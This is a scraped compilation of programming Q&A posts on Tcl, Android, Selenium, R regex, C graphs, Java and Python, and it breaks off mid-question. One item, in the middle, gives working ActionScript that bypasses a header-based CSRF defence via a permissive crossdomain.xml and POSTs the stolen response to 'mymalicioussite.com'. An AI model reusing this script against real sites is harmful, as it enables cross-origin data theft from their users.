For a particularly large list, there are a few tricks to make it more efficient, but they come down to careful management of references:

# Needs a new enough Tcl (8.5 or 8.6 IIRC)
set theLines [lreplace $theLines[set theLines ""] end end]

Try the first version instead of this if you don't know you need it. Also be aware that if you're wanting to keep the original list of lines around, you should definitely use the first approach.

You might instead have the data in memory as a single big string. In that case, we can use some of Tcl's string searching capabilities to do the job.

set index [string last "\n" $theString end-1]
set theString [string range $theString 0 $index]

The optimisation mentioned above in relation to lreplace is also applicable here (with all the same caveats):

set index [string last "\n" $theString end-1]
set theString [string range $theString[set theString ""] 0 $index]

On disk

When working on disk, things are different. There you need to be much more careful since you can't undo changes easily. There are two general approaches:

Read the file into memory, do the change there (using the techniques above), and do a (destructive) ordinary write out. This is the approach you need when you are doing many other changes anyway (e.g., removing a line from the middle, adding a line to the middle, adding or removing characters from a line in the middle).

set filename "..."

# Open a file and read its lines into a list
set f [open $filename]
set theLines [split [read $f] "\n"]
close $f

# Transform (you should recognise this from above)
set theLines [lreplace $theLines end end]

# Write the file back out
set f [open $filename "w"]
puts -nonewline $f [join $theLines "\n"]
close $f

Find where the data you don't want starts as an offset in the file and truncate the file at that point. This is the right approach with a very large file, but it is rather more sophisticated.

set f [open $filename "r+"];   # NEED the read-write mode!
seek $f -1000 end;             # Move to a little bit before the end of the file.
                               # Unnecessary, and guesswork, but can work  and will
                               # speed things up for a big file very much

# Find the length that we want the file to become. We do this by building a list of
# offsets into the file.
set ptrList {}
while {![eof $f]} {
    lappend ptrList [tell $f]
    gets $f
}

# The length we want is one step back from the end of the list
set wantedLength [lindex $ptrList end-1]

# Do the truncation!
chan truncate $f $wantedLength
close $f

However you do the disk transformations, make sure you test on a trash file before applying it to anything real! In particular, I've not checked what the truncation method does on a file without a newline at the end. It probably works, but you should test.


问:
How would I get a ListView from ListActivty INSIDE a class that extends on TabActivity?
Newbie here, bear with me..

I have a class that extends TabActivity. One of my tabs currently contains one long string composed of some records i got from my sqlite table. Now i'm following a tutorial and the next step is to move away from the string and create something a bit more appropriate for the records, a listView. However it says i'll need to change my class to extend ListActivity but i've already extended TabActivity (not part of the tutorial)and i don't really have the knowledge yet to know where to go from here.

I figure if my tabs content was set with intents to separate classes I wouldn't have a problem but it's important to me that both the tabs and their content are constructed in the same class because i will want to be doing a lot between them later. But maybe there is no way i can avoid creating a separate class? If so could i still point both of my tabs towards the same class? for the same reason as above. But then how would i get them still displaying different content?

I sure there's an obvious solution but i don't have enough programming experience to have a clue what it is, I've been googling a while now but i'm not really sure what to look for so if somebody could point me in the right direction i'd really appreciate it.

Hope I'm talking sense, Here's a link to see the class i'm working on:

Codeviewer.org , my Budget.java

答:
You don't need to have your class extend ListActivity (or TabActivity for that matter) as those classes are just a convenience.

If you want to show a ListView in a TabActivity, check out this tutorial I wrote.

ContentLicense: CC BY-SA 2.5


问:
getting stale element reference exception while trying to extract src attribute of nested iframes
i am trying to get src attributes of all nested iframes but i am getting stale reference exception.Here is the code

```<code>public class findAllSources {

    ArrayList<String> sources = new ArrayList<String>();

    @Test
    public void iframeTest() {
        System.setProperty("webdriver.chrome.driver", "path to chrome driver");
        ChromeDriver driver = new ChromeDriver();
        driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);
        driver.get("https://www.engadget.com/");
        List<WebElement> allFrames = driver.findElements(By.xpath("//iframe[not(contains(@style,'display:none'))]"));
        for (WebElement frame : allFrames) {
            if(frame.isDisplayed()){
                    System.out.println("We clicked frame "+frame);
                    System.out.println(" with a source  "+frame.getAttribute("src"));
                    sources.add(frame.getAttribute("src"));
                    driver.switchTo().frame(frame);
                    findDeeperFrames(driver);
                    driver.switchTo().defaultContent();
            }
        }
    }

    public void findDeeperFrames(ChromeDriver driver){

        List<WebElement> deeperFrames = driver.findElements(By.xpath("//iframe[not(contains(@style,'display:none'))]"));
        for (WebElement nframe: deeperFrames) {
            if (nframe.isDisplayed()){

                if (!nframe.getAttribute("src").isEmpty()){
                sources.add(nframe.getAttribute("src"));
                System.out.println("Nested source "+ nframe.getAttribute("src"));}

                 driver.switchTo().frame(nframe);
                 findDeeperFrames(driver);
                 //getting out of the frame
                driver.switchTo().defaultContent();
            }
        }
    }
}
</code>```

Is there any other approach by which i can achieve my goal?

答:
UPDATED:

Your code is returning StaleExcceptionError, because after using  driver.switchTo().defaultContent(); your code gets into next Iteration of for LOOP which is still using allFrames webElement list which  was stored initially before switching to new frame and Those elements are not attached to DOM anymore. So in order to avoid that you have to Identify that frame  s list once again as shown below:

```<code> List<WebElement> deeperFrames = driver.findElements(By.xpath("//iframe[not(contains(@style,'display:none'))]"));

 for (int j=1; j<=deeperFrames.size(); j++) {

            List<WebElement> myFrames = driver.findElements(By.xpath("//iframe"));

            WebElement nframe = myFrames.get(j-1);

            if (nframe.isDisplayed())
            {
                 if (!nframe.getAttribute("src").isEmpty()){
            sources.add(nframe.getAttribute("src"));
            System.out.println("Nested source "+ nframe.getAttribute("src"));}

             driver.switchTo().frame(nframe);
             findDeeperFrames(driver);
             //getting out of the frame
            driver.switchTo().defaultContent();

            }
}
</code>```

Body:
i am trying to get src attributes of all nested iframes but i am getting stale reference exception.Here is the code

public class findAllSources {

    ArrayList<String> sources = new ArrayList<String>();

    @Test
    public void iframeTest() {
        System.setProperty("webdriver.chrome.driver", "path to chrome driver");
        ChromeDriver driver = new ChromeDriver();
        driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);
        driver.get("https://www.engadget.com/");
        List<WebElement> allFrames = driver.findElements(By.xpath("//iframe[not(contains(@style,'display:none'))]"));
        for (WebElement frame : allFrames) {
            if(frame.isDisplayed()){
                    System.out.println("We clicked frame "+frame);
                    System.out.println(" with a source  "+frame.getAttribute("src"));
                    sources.add(frame.getAttribute("src"));
                    driver.switchTo().frame(frame);
                    findDeeperFrames(driver);
                    driver.switchTo().defaultContent();
            }
        }
    }

    public void findDeeperFrames(ChromeDriver driver){

        List<WebElement> deeperFrames = driver.findElements(By.xpath("//iframe[not(contains(@style,'display:none'))]"));
        for (WebElement nframe: deeperFrames) {
            if (nframe.isDisplayed()){

                if (!nframe.getAttribute("src").isEmpty()){
                sources.add(nframe.getAttribute("src"));
                System.out.println("Nested source "+ nframe.getAttribute("src"));}

                 driver.switchTo().frame(nframe);
                 findDeeperFrames(driver);
                 //getting out of the frame
                driver.switchTo().defaultContent();
            }
        }
    }
}

Is there any other approach by which i can achieve my goal?

Body:
UPDATED:

Your code is returning StaleExcceptionError, because after using  driver.switchTo().defaultContent(); your code gets into next Iteration of for LOOP which is still using allFrames webElement list which  was stored initially before switching to new frame and Those elements are not attached to DOM anymore. So in order to avoid that you have to Identify that frame  s list once again as shown below:

 List<WebElement> deeperFrames = driver.findElements(By.xpath("//iframe[not(contains(@style,'display:none'))]"));

 for (int j=1; j<=deeperFrames.size(); j++) {

            List<WebElement> myFrames = driver.findElements(By.xpath("//iframe"));

            WebElement nframe = myFrames.get(j-1);

            if (nframe.isDisplayed())
            {
                 if (!nframe.getAttribute("src").isEmpty()){
            sources.add(nframe.getAttribute("src"));
            System.out.println("Nested source "+ nframe.getAttribute("src"));}

             driver.switchTo().frame(nframe);
             findDeeperFrames(driver);
             //getting out of the frame
            driver.switchTo().defaultContent();

            }
}


问:
parsing regular expression for sub and gsub in r
I am having trouble understanding what the regular expressions in the following lines of code mean.

```<code>author = "10_1 A Kumar; Ahmed Hemani ; Johnny Öberg<"

# after some experiment, it looks like this line captures whatever is in
# front of the underscore.
authodid =  sub("_.*","",author)

# this line extracts the number after the underscore, but I don't know
# how this is achieved
paperno <- sub(".*_(\\w*)\\s.*", "\\1", author)

# this line extracts the string after the numbers
# I also have no idea how this is achieved through the code
coauthor <- gsub("<","",sub("^.*?\\s","", author))
</code>```

I have read on the web that the first argument is the pattern, second is the replacement, and the third is the object to operate on. I also saw a few post on SO and learned that \\w means the a word and \\s is a space.

However, a few things are still unclear. \\w means word, does it mean the next word? If not, how should I interpret it? I learned that ^ matches the start of the string, but what about the period after ^?

More importantly, what is the interpretation of _.* What about .*_ How about ^.*?\\s? How should I read them?

Thanks!

答:
Well. There is quite a number of questions. First things first.

sub("_.*","",author) looks for _ and everything else after that. So in your case _.* corresponds to  _1 A Kumar; Ahmed Hemani ; Johnny Öberg<. Function sub relapse it with '' (so, De facto it deletes it), so you end up with 10.

sub(".*_(\\w*)\\s.*", "\\1", author) is more tricky (with out any reason). It does not extract anything. If you replace the code to sub(".*_(\\w*)\\s.*", "222", author) the result would be 222 (instead of 1). So whatever you put in the second argument you will get as a result. Why it so? Well, because ".*_(\\w*)\\s.*" corresponds to entire string, namely: .*_ corresponds to 10_; (\\w*) corresponds to 1 and finally \\s.* means space and everything after it (so, the rest of the string).

gsub("<","",sub("^.*?\\s","", author)) there are two functions. The first one sub("^.*?\\s","", author). It looks everything from the beginning to space. So ^.*?\\s stands for 10_1 and delete it. So, you end up with A Kumar; Ahmed Hemani ; Johnny Öberg<. And the second one deletes '<' from all over the place.

I hope it helps.

Body:
I am having trouble understanding what the regular expressions in the following lines of code mean.

author = "10_1 A Kumar; Ahmed Hemani ; Johnny Öberg<"

# after some experiment, it looks like this line captures whatever is in
# front of the underscore.
authodid =  sub("_.*","",author)

# this line extracts the number after the underscore, but I don't know
# how this is achieved
paperno <- sub(".*_(\\w*)\\s.*", "\\1", author)

# this line extracts the string after the numbers
# I also have no idea how this is achieved through the code
coauthor <- gsub("<","",sub("^.*?\\s","", author))

I have read on the web that the first argument is the pattern, second is the replacement, and the third is the object to operate on. I also saw a few post on SO and learned that \\w means the a word and \\s is a space.

However, a few things are still unclear. \\w means word, does it mean the next word? If not, how should I interpret it? I learned that ^ matches the start of the string, but what about the period after ^?

More importantly, what is the interpretation of _.* What about .*_ How about ^.*?\\s? How should I read them?

Thanks!

Body:
Well. There is quite a number of questions. First things first.

sub("_.*","",author) looks for _ and everything else after that. So in your case _.* corresponds to  _1 A Kumar; Ahmed Hemani ; Johnny &Ouml;berg<. Function sub relapse it with '' (so, De facto it deletes it), so you end up with 10.

sub(".*_(\\w*)\\s.*", "\\1", author) is more tricky (with out any reason). It does not extract anything. If you replace the code to sub(".*_(\\w*)\\s.*", "222", author) the result would be 222 (instead of 1). So whatever you put in the second argument you will get as a result. Why it so? Well, because ".*_(\\w*)\\s.*" corresponds to entire string, namely: .*_ corresponds to 10_; (\\w*) corresponds to 1 and finally \\s.* means space and everything after it (so, the rest of the string).

gsub("<","",sub("^.*?\\s","", author)) there are two functions. The first one sub("^.*?\\s","", author). It looks everything from the beginning to space. So ^.*?\\s stands for 10_1 and delete it. So, you end up with A Kumar; Ahmed Hemani ; Johnny &Ouml;berg<. And the second one deletes '<' from all over the place.

I hope it helps.


问:
How to access and loop through an adjacency list?
Here is the implementation of my adjacency list used to form a graph. I have no idea how to access this list and loop through it to fulfill some goals (DFS search for instance).

I tried to do something like graph[i][j] but the compiler would say it's an error

subscripted value is neither array nor pointer

I reckon the graph here is merely a pointer pointing to another list.

What should I go about it?

Note: I was not able to properly format the code hence I opted to use paste bin, sorry for the inconveniences.

graph.c

```<code>#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>

#include "graph.h"

/* helper function prototypes */

// create a new vertex with a specific label
Vertex* new_vertex(const char* name);

// create a new w-weighted edge from vertex id u to vertex id v
Edge* new_edge(int u, int v, int w);

// destroy a vertex, including its label and all of its edges
void free_vertex(Vertex* vertex);

/* function definitions */

// create a new, empty graph, with space for n vertices
Graph* new_graph(int n) {
    Graph* graph = malloc(sizeof (*graph));
    assert(graph);

    graph->n = 0;
    graph->maxn = n;

    graph->vertices = malloc(n * sizeof (Vertex*));
    assert(graph->vertices);

    return graph;
}

// create a new vertex with a specific label
Vertex* new_vertex(const char* label) {
    assert(label);

    Vertex* vertex = malloc(sizeof (*vertex));
    assert(vertex);

    // make sure to copy the label across
    vertex->label = malloc((1 + strlen(label)) * sizeof (char));
    assert(vertex->label);
    strcpy(vertex->label, label);

    vertex->first_edge = NULL;

    return vertex;
}

// create a new w-weighted edge from vertex id u to vertex id v
Edge* new_edge(int u, int v, int w) {
    Edge* edge = malloc(sizeof (*edge));
    assert(edge);

    edge->u = u;
    edge->v = v;
    edge->weight = w;

    edge->next_edge = NULL;

    return edge;
}

// destroy a graph, its vertices, and their edges
void free_graph(Graph* graph) {
    if (graph) {
        int i;
        for (i = 0; i < graph->n; i++) {
            free_vertex(graph->vertices[i]);
        }

        free(graph->vertices);
        free(graph);
    }
}

// destroy a vertex, including its label and all of its edges
void free_vertex(Vertex* vertex) {
    if (vertex) {
        while (vertex->first_edge) {
            Edge* edge = vertex->first_edge;
            vertex->first_edge = vertex->first_edge->next_edge;
            free(edge);
        }
        free(vertex->label);
        free(vertex);
    }
}

// add a new vertex with label 'name' to a graph
void graph_add_vertex(Graph* graph, const char* name) {
    if (graph->n < graph->maxn) {
        graph->vertices[graph->n] = new_vertex(name);
        graph->n++;
    } else {
        fprintf(stderr, "hey! adding new vertex to full graph\n");
    }
}

// add an undirected edge between u and v with weight w to graph
void graph_add_u_edge(Graph* graph, int u, int v, int w) {
    // an undirected edge is just two directed edges
    graph_add_d_edge(graph, u, v, w);
    graph_add_d_edge(graph, v, u, w);
}

// add a directed edge from u to v with weight w to a graph
void graph_add_d_edge(Graph* graph, int u, int v, int w) {
    if(u < graph->n && u >= 0 && v < graph->n && v >= 0) {
        Edge* edge = new_edge(u, v, w);
        edge->next_edge = graph->vertices[u]->first_edge;
        graph->vertices[u]->first_edge = edge;
    } else {
        fprintf(stderr, "hey! adding edge between non-existant vertices\n");
    }
}
</code>```

graph.h

```<code>#ifndef GRAPH_H
#define GRAPH_H

typedef struct graph Graph;
typedef struct vertex Vertex;
typedef struct edge Edge;

// a graph knows its order (number of vertices) and an array of pointers to
// those vertices.
// these values can be used, but should not be *modified* outside of graph.c.
// they are read-only!
struct graph {
    int n, maxn;
    Vertex** vertices;
};

// a vertex has a label and a pointer to the first edge in its adjacency list.
// these values can be used, but should not be *modified* outside of graph.c.
// they are read-only!
struct vertex {
    char* label;
    Edge* first_edge;
};

// an edge knows the IDs of its two incident vertices; from u, to v
// each edge also knows its weight, and points to the next edge in a list of
// edges from the same vertex (or to NULL if it's the last edge in the list).
// these values can be used, but should not be *modified* outside of graph.c.
// they are read-only!
struct edge {
    int u, v;
    int weight;
    Edge* next_edge;
};

// create a new, empty graph, with space for a maximum of n vertices
Graph* new_graph(int n);

// destroy a graph, its vertices, and their edges
void free_graph(Graph* graph);

// add a new vertex with label 'name' to a graph
void graph_add_vertex(Graph* graph, const char* name);

// add an undirected edge between u and v with weight w to graph
void graph_add_u_edge(Graph* graph, int u, int v, int w);

// add a directed edge from u to v with weight w to a graph
void graph_add_d_edge(Graph* graph, int u, int v, int w);

#endif
</code>```

答:
Your graph is a pointer to a Graph object. That object has member vertices, an array of pointer to Vertex objects. So, the vertices are at graph->vertices, and vertex #0 would be at graph->vertices[0].

Each vertex has a member first_edge, which is a pointer to its first edge. The first edge of vertex #0 is, therefore, graph->vertices[0]->first_edge, and its weight is, e.g., at graph->vertices[0]->first_edge->weight.

The next edge on the adjacency list is the first edge's next_edge (e.g., graph->vertices[0]->first_edge->next_edge). To find all edges, you should process the list using a for loop, starting from graph->vertices[0]->first_edge and continuing to the next_edge, until the next_edge is 0.

```<code>for(Edge *current = graph->vertices[0]->first_edge;
    current;
    current = current->next_edge) {
    do_something_with(current);
}
</code>```

Hope it helps.

Body:
Here is the implementation of my adjacency list used to form a graph. I have no idea how to access this list and loop through it to fulfill some goals (DFS search for instance).

I tried to do something like graph[i][j] but the compiler would say it's an error

subscripted value is neither array nor pointer

I reckon the graph here is merely a pointer pointing to another list.

What should I go about it?

Note: I was not able to properly format the code hence I opted to use paste bin, sorry for the inconveniences.

graph.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>

#include "graph.h"

/* helper function prototypes */

// create a new vertex with a specific label
Vertex* new_vertex(const char* name);

// create a new w-weighted edge from vertex id u to vertex id v
Edge* new_edge(int u, int v, int w);

// destroy a vertex, including its label and all of its edges
void free_vertex(Vertex* vertex);

/* function definitions */

// create a new, empty graph, with space for n vertices
Graph* new_graph(int n) {
    Graph* graph = malloc(sizeof (*graph));
    assert(graph);

    graph->n = 0;
    graph->maxn = n;

    graph->vertices = malloc(n * sizeof (Vertex*));
    assert(graph->vertices);

    return graph;
}

// create a new vertex with a specific label
Vertex* new_vertex(const char* label) {
    assert(label);

    Vertex* vertex = malloc(sizeof (*vertex));
    assert(vertex);

    // make sure to copy the label across
    vertex->label = malloc((1 + strlen(label)) * sizeof (char));
    assert(vertex->label);
    strcpy(vertex->label, label);

    vertex->first_edge = NULL;

    return vertex;
}

// create a new w-weighted edge from vertex id u to vertex id v
Edge* new_edge(int u, int v, int w) {
    Edge* edge = malloc(sizeof (*edge));
    assert(edge);

    edge->u = u;
    edge->v = v;
    edge->weight = w;

    edge->next_edge = NULL;

    return edge;
}

// destroy a graph, its vertices, and their edges
void free_graph(Graph* graph) {
    if (graph) {
        int i;
        for (i = 0; i < graph->n; i++) {
            free_vertex(graph->vertices[i]);
        }

        free(graph->vertices);
        free(graph);
    }
}

// destroy a vertex, including its label and all of its edges
void free_vertex(Vertex* vertex) {
    if (vertex) {
        while (vertex->first_edge) {
            Edge* edge = vertex->first_edge;
            vertex->first_edge = vertex->first_edge->next_edge;
            free(edge);
        }
        free(vertex->label);
        free(vertex);
    }
}

// add a new vertex with label 'name' to a graph
void graph_add_vertex(Graph* graph, const char* name) {
    if (graph->n < graph->maxn) {
        graph->vertices[graph->n] = new_vertex(name);
        graph->n++;
    } else {
        fprintf(stderr, "hey! adding new vertex to full graph\n");
    }
}

// add an undirected edge between u and v with weight w to graph
void graph_add_u_edge(Graph* graph, int u, int v, int w) {
    // an undirected edge is just two directed edges
    graph_add_d_edge(graph, u, v, w);
    graph_add_d_edge(graph, v, u, w);
}

// add a directed edge from u to v with weight w to a graph
void graph_add_d_edge(Graph* graph, int u, int v, int w) {
    if(u < graph->n && u >= 0 && v < graph->n && v >= 0) {
        Edge* edge = new_edge(u, v, w);
        edge->next_edge = graph->vertices[u]->first_edge;
        graph->vertices[u]->first_edge = edge;
    } else {
        fprintf(stderr, "hey! adding edge between non-existant vertices\n");
    }
}

graph.h

#ifndef GRAPH_H
#define GRAPH_H

typedef struct graph Graph;
typedef struct vertex Vertex;
typedef struct edge Edge;

// a graph knows its order (number of vertices) and an array of pointers to
// those vertices.
// these values can be used, but should not be *modified* outside of graph.c.
// they are read-only!
struct graph {
    int n, maxn;
    Vertex** vertices;
};

// a vertex has a label and a pointer to the first edge in its adjacency list.
// these values can be used, but should not be *modified* outside of graph.c.
// they are read-only!
struct vertex {
    char* label;
    Edge* first_edge;
};

// an edge knows the IDs of its two incident vertices; from u, to v
// each edge also knows its weight, and points to the next edge in a list of
// edges from the same vertex (or to NULL if it's the last edge in the list).
// these values can be used, but should not be *modified* outside of graph.c.
// they are read-only!
struct edge {
    int u, v;
    int weight;
    Edge* next_edge;
};

// create a new, empty graph, with space for a maximum of n vertices
Graph* new_graph(int n);

// destroy a graph, its vertices, and their edges
void free_graph(Graph* graph);

// add a new vertex with label 'name' to a graph
void graph_add_vertex(Graph* graph, const char* name);

// add an undirected edge between u and v with weight w to graph
void graph_add_u_edge(Graph* graph, int u, int v, int w);

// add a directed edge from u to v with weight w to a graph
void graph_add_d_edge(Graph* graph, int u, int v, int w);

#endif

Body:
Your graph is a pointer to a Graph object. That object has member vertices, an array of pointer to Vertex objects. So, the vertices are at graph->vertices, and vertex #0 would be at graph->vertices[0].

Each vertex has a member first_edge, which is a pointer to its first edge. The first edge of vertex #0 is, therefore, graph->vertices[0]->first_edge, and its weight is, e.g., at graph->vertices[0]->first_edge->weight.

The next edge on the adjacency list is the first edge's next_edge (e.g., graph->vertices[0]->first_edge->next_edge). To find all edges, you should process the list using a for loop, starting from graph->vertices[0]->first_edge and continuing to the next_edge, until the next_edge is 0.

for(Edge *current = graph->vertices[0]->first_edge;
    current;
    current = current->next_edge) {
    do_something_with(current);
}

Hope it helps.


问:
CSRF Bypass using ActionScript via weak CrossDomain.xml
I have a target which has weak CrossDomain.xml but it prevents CSRF attack looking at one of the custom HTTP headers. I found following actionscript on a couple of websites, which works perfectly except that it doesnt set the header.

This actionscript sends a POST request to 'Target.htm' and I need it to set any custom header , say Test-Header:

```<code>package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite {

        public function FlashTest() {
            // write as3 code here..
            //Target URL
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            {
                getLoader.load(readRequest);
            }
            catch(error:Error)
            {

            }
        }

        private function eventHandler(event:Event):void
        {
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            {
                sendLoader.load(sendRequest);
            }
            catch(error:Error)
            {

            }
          }
        }
      }
</code>```

CrossDomain.XML on the target:

```<code>    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>
</code>```

Any help would be appreciated.
A working code with GET request instead of POST would also work as target accepts both, GET and POST requests. As far as I know, setting custom headers are allowed only with POST request but a GET request with any standard HTTP header would work for me at least for now.

答:
After performing a few tests, I was able to modify the script mentioned above to set any custom header ( except for Referer and User-Agent headers that browsers do not allow):

Also, This works only if the target and attacking machine should have following crossdomain.xml:

```<code><?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>
</code>```

And here is the AS3 script that worked for me:

```<code>package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite {

    public function FlashTest() {
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {

        }
    }

    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {

        }
      }
    }
}//package
</code>```

Body:
I have a target which has weak CrossDomain.xml but it prevents CSRF attack looking at one of the custom HTTP headers. I found following actionscript on a couple of websites, which works perfectly except that it doesnt set the header.

This actionscript sends a POST request to 'Target.htm' and I need it to set any custom header , say Test-Header:

package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite {

        public function FlashTest() {
            // write as3 code here..
            //Target URL
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            {
                getLoader.load(readRequest);
            }
            catch(error:Error)
            {

            }
        }

        private function eventHandler(event:Event):void
        {
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            {
                sendLoader.load(sendRequest);
            }
            catch(error:Error)
            {

            }
          }
        }
      }

CrossDomain.XML on the target:

    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

Any help would be appreciated.
A working code with GET request instead of POST would also work as target accepts both, GET and POST requests. As far as I know, setting custom headers are allowed only with POST request but a GET request with any standard HTTP header would work for me at least for now.

Body:
After performing a few tests, I was able to modify the script mentioned above to set any custom header ( except for Referer and User-Agent headers that browsers do not allow):

Also, This works only if the target and attacking machine should have following crossdomain.xml:

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

And here is the AS3 script that worked for me:

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite {

    public function FlashTest() {
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {

        }
    }

    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {

        }
      }
    }
}//package


问:
Java Class and Interface Name Collision
```<code>interface A {
  void print();
}

class A implements A {
  public void print() {
    System.out.println("Hello");
  }
  public static void main(String args[]) {
    A a=new A();
    a.print();
  }
}
</code>```

When i am using this code then it is saying "duplicate class:A". Why so? Can I not have same class and interface name

答:
The fully qualified name of a class and interface consist of the package name and the class/interface name only.

So if your package name is com.foo.bar, both the interface and the class names would be: com.foo.bar.A

Under different packages you can have the same names of course.

ContentLicense: CC BY-SA 4.0

Title: Java Class and Interface Name Collision

Body:
interface A {
  void print();
}

class A implements A {
  public void print() {
    System.out.println("Hello");
  }
  public static void main(String args[]) {
    A a=new A();
    a.print();
  }
}

When i am using this code then it is saying "duplicate class:A". Why so? Can I not have same class and interface name


问:
python comma separate values by thousands without trailing zeros
I am trying to comma separate float amount by thousands. I am able to do that using the locale.format() function. But the expected output is not considering the decimal points.

```<code>import locale
locale.setlocale(locale.LC_ALL, 'en_US')
amount = locale.format('%d', 10025.87, True)
amount
'10,025'
</code>```

My expected output should be 10,025.87, keeping the trailing values. Please let me know if something of this sort is possible

```<code>Value: 1067.00
Output: 1,067

Value: 1200450
Output: 1,200,450

Value: 1340.9
Output: 1,340.9
</code>```

答:
How about this:</p>

```<code>import locale
locale.setlocale(locale.LC_ALL, 'en_US')
# strip any potential trailing zeros because %f is used.
amount = locale.format('%f', 10025.87, True).rstrip('0').rstrip('.')
amount  # '10,025.87'
</code>```

Body:
I am trying to comma separate float amount by thousands. I am able to do that using the locale.format() function. But the expected output is not considering the decimal points.

import locale
locale.setlocale(locale.LC_ALL, 'en_US')
amount = locale.format('%d', 10025.87, True)
amount
'10,025'

My expected output should be 10,025.87, keeping the trailing values. Please let me know if something of this sort is possible

Value: 1067.00
Output: 1,067

Value: 1200450
Output: 1,200,450

Value: 1340.9
Output: 1,340.9

Body:
How about this:

import locale
locale.setlocale(locale.LC_ALL, 'en_US')
# strip any potential trailing zeros because %f is used.
amount = locale.format('%f', 10025.87, True).rstrip('0').rstrip('.')
amount  # '10,025.87'


问:
How to stop an animation onBackPressed?
In my MainActivity I have 2 animations (FAB and a TAB title) and I would like to stop them onBackPressed.

```<code>@Bind(R.id.fab_text) Button mFAB;
...
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main_drawer);

    Animation animation = loadAnimation(MainDrawerActivity.this, R.anim.fab_scale_up_down);
    animation.setRepeatCount(Animation.INFINITE);
    animation.setAnimationListener(new SimpleAnimationListener() {
        private long offset;
        private long startTime;

        @Override
        public void onAnimationStart(Animation animation) {
            startTime = System.currentTimeMillis();
        }

        @Override
        public void onAnimationRepeat(Animation animation) {
            final long now = System.currentTimeMillis();
